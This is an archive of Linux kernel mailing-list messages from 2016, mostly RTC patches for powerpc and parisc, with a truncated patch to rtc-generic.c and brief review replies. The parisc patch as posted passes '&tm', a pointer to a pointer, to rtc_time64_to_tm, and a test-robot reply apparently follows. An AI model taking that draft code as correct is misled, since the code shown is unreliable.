	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Apr 26 23:53:33 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avAvC-0005pO-Uv
	for glpm-linux-m68k@plane.gmane.org; Tue, 26 Apr 2016 23:53:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753273AbcDZVxT (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:19 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:54391 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753267AbcDZVxS (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 26 Apr 2016 17:53:18 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0MHrNV-1arc0M2tDR-003Zfv; Tue, 26 Apr
 2016 23:52:43 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:wB9ArzOGllSfulVAKWkmyatGDRl47pDaaj1TChyrTT2PUtm/B5L
 1SChGDj9DYuHylhLqcdHGvKL2b76VaE+ISm9PxiSGWtAZUefe/ROLRpih8YV9gGDYo+PqU0
 0jmtOBNi4f7xfyQuBFEU47QkxuH4XOjkd7xtGy0gKsn07zxH89qVfe3iulmqsnCtQegNmX7
 zYUmT6eWiv/iez9aQnDJw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:e1L+zIgEn98=:28KExmvohc9Ieoz54LvN91
 tt8q5ozlhfmwmagItWyfwFYR8aWknIewVvRZhQe4Nua9tW5BCdKwvfJnMFAF9JabuobAIaK/U
 09BYk8P23aiwyVbrz8GDnqdt79b5mFNn66nF8pemXtv2gQ+EdvVSqzTJRAHotLKuGmNklSirz
 ufawckvp99DS8nlVqrBjVFHNYPdybUCF3IiNGXzZ+UZpj16iFbHdB4aDoDoW1x2vsk4gzNbgu
 ldvfXmZkZWR1Yn9JTjN+bAnZPLWslWY23k3xr0v1dF05KNN4fCqd1goFtwRmWl1DfoxDlvGFB
 KaavSE5hyrt+XZLg6xgDAz7zLJyx5PtoaQPOM9FEplHkTNVBAQiwlYVxCBADajQiiu04hm6iz
 PEmSjpsUHi667hTLS7J5a5pVaA9dM2OjiMv8xpsLsX01M18VFVWEIMNZ5lDdC+C8xZj52L6WU
 g4z7L63M9vzndlV2PRgzZmcm5Z8BF9AKKZjv/neTibRoZjbC1FeYivOL6cEBMzyKRL9kxs344
 7aJH8IJ8cBOsSOkiX9gJxFNCzEmrQobNhg6n3PVflKkzbim89DFOTyr8fM51ZPOzN3R8XKnGj
 Rq3BJCKQPsAfSb0QPM5987BBoRg0UDhIUV6KqsvGwfbNCfn9rjvumQViEGrRjYdbEei7IbHmQ
 PXS8vaWKNzlP4/YkHSI5pB+easJNaJXE5qehtZgqLe7WdAjcemX1QSBKTXYvHAvL7M/E=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8546 gmane.linux.ports.alpha:3651 gmane.linux.kernel:2208432 gmane.linux.ports.parisc:26676 gmane.linux.ports.ppc64.devel:126435 gmane.linux.ports.sh.devel:53832 gmane.linux.kernel.cross-arch:31705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8546>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and powerpc has another abstraction on top, which is a bit
silly.

This changes the powerpc rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/powerpc/kernel/time.c | 29 ++++++++++++++++++++++++++++-
 1 file changed, 28 insertions(+), 1 deletion(-)

diff --git a/arch/powerpc/kernel/time.c b/arch/powerpc/kernel/time.c
index 3ed9a5a21d77..aeac4d9591f9 100644
--- a/arch/powerpc/kernel/time.c
+++ b/arch/powerpc/kernel/time.c
@@ -56,6 +56,7 @@
 #include <linux/irq_work.h>
 #include <linux/clk-provider.h>
 #include <linux/suspend.h>
+#include <linux/rtc.h>
 #include <asm/trace.h>
 
 #include <asm/io.h>
@@ -1081,6 +1082,29 @@ void calibrate_delay(void)
 	loops_per_jiffy = tb_ticks_per_jiffy;
 }
 
+#ifdef CONFIG_RTC_DRV_GENERIC
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	ppc_md.get_rtc_time(tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (!ppc_md.set_rtc_time)
+		return -EOPNOTSUPP;
+
+	if (ppc_md.set_rtc_time(tm) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
@@ -1088,9 +1112,12 @@ static int __init rtc_init(void)
 	if (!ppc_md.get_rtc_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
 device_initcall(rtc_init);
+#endif
-- 
2.7.0


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 4/6] rtc: parisc: provide rtc_class_ops directly
Date: Tue, 26 Apr 2016 23:52:29 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <1461707551-1337971-5-git-send-email-arnd@arndb.de>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707644 24416 80.91.229.3 (26 Apr 2016 21:54:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:54:04 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 26 23:53:57 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avAvc-00061D-GS
	for glk-linux-kernel-3@plane.gmane.org; Tue, 26 Apr 2016 23:53:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753421AbcDZVxc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:32 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.10]:56441 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753304AbcDZVx3 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Apr 2016 17:53:29 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0MPIxM-1aqnCG0qDQ-004QkQ; Tue, 26 Apr
 2016 23:52:44 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:WlTkuSTQSHUlLPprVN7JK58BrCvA9LgbFxoy1J1z98L5fcfGLMP
 Yc6W3bZEVgimLFx6cMd6DP15XAWi/4hrXIpJj1SaarsjyabJLpcnSlrp7z90/5qRTq/WvXw
 l93EMw2CFZfulRg4euKUoLVLZvR5kuZ6kw7Yu0BLOsNYNxmVrZQ5e5rZ81oE3y2J8rOPtqa
 Oyd8MVnWHvKJwnzQZzKjw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NrSy3YNUJKw=:es1xgngTj9Xi6+luLSdDts
 JLIZZSDrCxWiZYswsYbPw/4XHPazWlVQNHYkMF6WPl9kA5k27AOLAlcrszoHeuSxGleijgBCN
 iYlvpPQWATDU/SplFRnOsSaAhXSVV0rEV37ua1qK5uAR1pvVP0scuTXi+K+zEj3ngBAhakP2E
 QnVqPXJCMWT3H+Yziof76R/2dSCKIY97MjL2YMnA39i+lA8rFDo0Dq1X1yJntseeQSEYO8RUo
 WKfTvBl+OiT73UaC6RuyVbm/j37ZvenS7B7yjQ/4ppa1/lpgurB8oxF9Yc4vuLPy+5Ka8FHzs
 dx31w+hffzuhOnmUCn+r8tCVL8JFkMwrRSgOfO7kIXciitLPpUz+OUCEtxXM71eR8KRHlohOR
 xX/+GrmLguEZE8IC47Ew+ov5Lx6FLMSnCXROKGrzLMKsZHAfF5Xw1vO9WUkuM8p/Or1EpSumO
 LVtutEjhK45r5lhSqnHBLyHp7WAoJRJDMyodaBDM1o2ezyUoPrm/cmaCOU7OajzkwMkUlpD6S
 2Xoh2elrc75ZsPNL7pAFb3P2pXUiGVe+skOJz7Kq3t8hLLldQCsvODUX5lsDnSjOjXXLRfFnS
 6zTkVXuIBRc3Ae6VW9TJgxU+HvkqpKe1tL8K+/ThYL5AzHA8sgq2MRWNicG6s41s3JxgSTsv+
 hQ6/tQmKhCyhoHzbfo2TF8RZhmL37z6gmJO85klclcQ9b3CZzmg6ZZ/5NChqd0GvCuRU=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2208433 gmane.linux.ports.alpha:3652 gmane.linux.ports.parisc:26677 gmane.linux.ports.ppc64.devel:126436 gmane.linux.ports.sh.devel:53833 gmane.linux.kernel.cross-arch:31706
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2208433>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on pa-risc, that is implemented using an open-coded
version of rtc_time_to_tm/rtc_tm_to_time.

This changes the parisc rtc-generic device to provide its
rtc_class_ops directly, using the normal helper functions,
which makes this y2038 safe (on 32-bit) and simplifies
the implementation.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/parisc/kernel/time.c | 36 +++++++++++++++++++++++++++++++++++-
 1 file changed, 35 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 58dd6801f5be..1338d92fc87b 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -12,6 +12,7 @@
  */
 #include <linux/errno.h>
 #include <linux/module.h>
+#include <linux/rtc.h>
 #include <linux/sched.h>
 #include <linux/kernel.h>
 #include <linux/param.h>
@@ -248,14 +249,47 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
+#ifdef CONFIG_RTC_DRV_GENERIC
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	struct pdc_tod tod_data;
+
+	memset(tm, 0, sizeof(*tm));
+	if (pdc_tod_read(&tod_data) < 0)
+		return -EOPNOTSUPP;
+
+	/* we treat tod_sec as unsigned, so this can work until year 2106 */
+	rtc_time64_to_tm(tod_data.tod_sec, &tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	time64_t secs = rtc_tm_to_time64(tm);
+
+	if (pdc_tod_set(secs, 0) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 	return PTR_ERR_OR_ZERO(pdev);
 }
 device_initcall(rtc_init);
+#endif
 
 void read_persistent_clock(struct timespec *ts)
 {
-- 
2.7.0



From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 6/6] rtc: generic: remove get_rtc_time/set_rtc_time wrappers
Date: Tue, 26 Apr 2016 23:52:31 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <1461707551-1337971-7-git-send-email-arnd@arndb.de>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707645 24425 80.91.229.3 (26 Apr 2016 21:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:54:05 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 26 23:54:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avAve-00061D-Q6
	for glpp-linux-parisc@plane.gmane.org; Tue, 26 Apr 2016 23:53:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753083AbcDZVxh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Apr 2016 17:53:37 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:55356 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753304AbcDZVxf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Apr 2016 17:53:35 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPA (Nemesis) id 0MZfLS-1b8rlz0vh0-00LWKe; Tue, 26 Apr
 2016 23:52:45 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:xSq1apOFai+E8rPcQ2vsGmssfzkD3EPj5d7fz21wqQDmd5QQxfm
 /lNc3Kia39EiZ2SQjTyhUhp7OsHzTw0urlHoLC9qP5IkS6pfCUKzHMttxkymCbgEcmam2LV
 S7VRZ0nZU5a8RX2zTfKfI8GtGUyu4gEhx10pvxyIAg9gaOag8MwK5oS7TSz63cPIpALuVW/
 gfUkEjpA5Llk1Z5h/lWRg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6KiIxAL+yE0=:GB4FWe+tOWAbvD3yXws+Uk
 SRiTEOPMxqwS9bAf1HMX7ZAH9S8/kA1zAlKQEIjzxnJM7KXFiRU+qvVkKawJx/f3kTBIVyqLf
 StYweWCin/xRHi2AYCUibMPEHVRS9rOC1fA6hmNxXaKfRnXMfVynvlab36zpvLdSGD1O3k0LD
 r08n8iUNIpAL9t2luK6nLIIOKtgxnGR3LGfb58j5FwWCZqMqzfba2rYQtuYZ1cMHEBjvpGrGQ
 vmo27TIYQBArENnvCoxZCmoIsLmog3hpPHDcHX8r7JN60f9xn04IF2kjbJEkhvdPBGDTdXq1I
 HHD0lqWeJFav1HvfnTBb35Ht1v+SP3yvNi+h5dXjcfdKlWC89P91I/sO/uSiYKCSJv3tzzR8W
 bWBnxIn4573s2ZJT7sQqYagRRKLg4fIF/OEV7OnUJWCnYtfF3FuqkGT9EsM7x11UbryR7bP4Y
 BtNDhmmieJVt44JnxUGzwJAZZpbhRu/ul73jC0RGqYQZN43LRZ1SRfyvkpd5AFzTmaY4vrZfY
 VQzZK71PKzSa3VhAtyrgpMaHkhjdiAnzfMI3rPIhCtsRc5u4m2KXIZnWxsvIwEU9P6ZUcaKUA
 4Zp7PRPC7mQYR7TM1tsZ3axjAg2wz7aRUX1sKAM6QkOFYWWRzDZRVOJV/0vnQTFAiujl6fUpr
 2OSvFpoBGSWBwmk0N0O2ZlStD5iFVBXsufwoTKJyXodZTMQT3e1lAXAy3FU+mfyAm3DU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26678 gmane.linux.ports.alpha:3653 gmane.linux.kernel:2208434 gmane.linux.ports.ppc64.devel:126437 gmane.linux.ports.sh.devel:53834 gmane.linux.kernel.cross-arch:31707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26678>

All architectures using this driver are now converted to
provide their own operations, so this one can be turned
into a trivial stub driver relying on its platform data.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/rtc/rtc-generic.c | 36 +-----------------------------------
 1 file changed, 1 insertion(+), 35 deletions(-)

diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index d726c6aa96a8..1bf5d2347928 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,44 +9,10 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
-    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
-#include <asm/rtc.h>
-
-static int generic_get_time(struct device *dev, struct rtc_time *tm)
-{
-	unsigned int ret = get_rtc_time(tm);
-
-	if (ret & RTC_BATT_BAD)
-		return -EOPNOTSUPP;
-
-	return rtc_valid_tm(tm);
-}
-
-static int generic_set_time(struct device *dev, struct rtc_time *tm)
-{
-	if (set_rtc_time(tm) < 0)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static const struct rtc_class_ops generic_rtc_ops = {
-	.read_time = generic_get_time,
-	.set_time = generic_set_time,
-};
-#else
-#define generic_rtc_ops *(struct rtc_class_ops*)NULL
-#endif
-
 static int __init generic_rtc_probe(struct platform_device *dev)
 {
 	struct rtc_device *rtc;
-	const struct rtc_class_ops *ops;

From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 6/8] char/genrtc: parisc: use asm-generic/rtc.h
Date: Wed, 27 Apr 2016 00:07:47 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <3034953.EvqV1iv2Ef@caliban.sf-tec.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <1461707052-1337718-7-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1484825.uGIj57kKZR"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1461708500 5461 80.91.229.3 (26 Apr 2016 22:08:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 22:08:20 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 00:08:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avB9N-0002tX-2W
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 00:08:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752321AbcDZWIH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Apr 2016 18:08:07 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:57828 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752344AbcDZWIG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Apr 2016 18:08:06 -0400
Original-Received: (qmail 9478 invoked from network); 26 Apr 2016 22:08:02 -0000
Original-Received: from dslb-088-071-107-077.088.071.pools.vodafone-ip.de ([::ffff:88.71.107.77]:55024 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <arnd@arndb.de>; Wed, 27 Apr 2016 00:08:02 +0200
User-Agent: KMail/4.14.10 (Linux/4.5.1-4.gda73f3b-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <1461707052-1337718-7-git-send-email-arnd@arndb.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26679 gmane.linux.ports.alpha:3654 gmane.linux.kernel:2208441 gmane.linux.ports.ia64:26659 gmane.linux.ports.ppc64.devel:126438 gmane.linux.ports.sh.devel:53835 gmane.linux.kernel.cross-arch:31708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26679>

--nextPart1484825.uGIj57kKZR
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Arnd Bergmann wrote:
> The asm-generic/rtc.h header can now be included by
> architectures that provide their own set_rtc_time/get_rtc_time
> macros, letting us remove most of the common contents in
> the powerpc implementation.

parisc in this case.

Eike
--nextPart1484825.uGIj57kKZR
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlcf5rgACgkQXKSJPmm5/E4XHQCfYLbFGGoGa3RONzYALJ5wXGhV
eswAoJzCfTkDFm06E5j/I7xKraT4hn9i
=TRZX
-----END PGP SIGNATURE-----

--nextPart1484825.uGIj57kKZR--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 4/6] rtc: parisc: provide rtc_class_ops directly
Date: Wed, 27 Apr 2016 08:22:24 +0800
Lines: 323
Approved: news@gmane.org
Message-ID: <201604270817.uNDAZuA5%fengguang.wu@intel.com>
References: <1461707551-1337971-5-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="OgqxwSJOaUobr8KG"
X-Trace: ger.gmane.org 1461716634 27726 80.91.229.3 (27 Apr 2016 00:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 00:23:54 +0000 (UTC)
Cc: kbuild-all@01.org,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Apr 27 02:23:45 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avDGZ-00050s-PH
	for glpm-linux-m68k@plane.gmane.org; Wed, 27 Apr 2016 02:23:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752476AbcD0AXm (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 26 Apr 2016 20:23:42 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:18221 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752378AbcD0AXl (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 26 Apr 2016 20:23:41 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by orsmga101.jf.intel.com with ESMTP; 26 Apr 2016 17:23:40 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.24,538,1455004800"; 
   d="gz'50?scan'50,208,50";a="967209834"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga002.fm.intel.com with ESMTP; 26 Apr 2016 17:23:37 -0700
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu@intel.com>)
	id 1avDGM-000AXT-GU; Wed, 27 Apr 2016 08:23:30 +0800
Content-Disposition: inline
In-Reply-To: <1461707551-1337971-5-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8551 gmane.linux.ports.alpha:3655 gmane.linux.kernel:2208803 gmane.linux.ports.parisc:26680 gmane.linux.ports.ppc64.devel:126443 gmane.linux.ports.sh.devel:53836 gmane.linux.kernel.cross-arch:31739
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8551>


--OgqxwSJOaUobr8KG
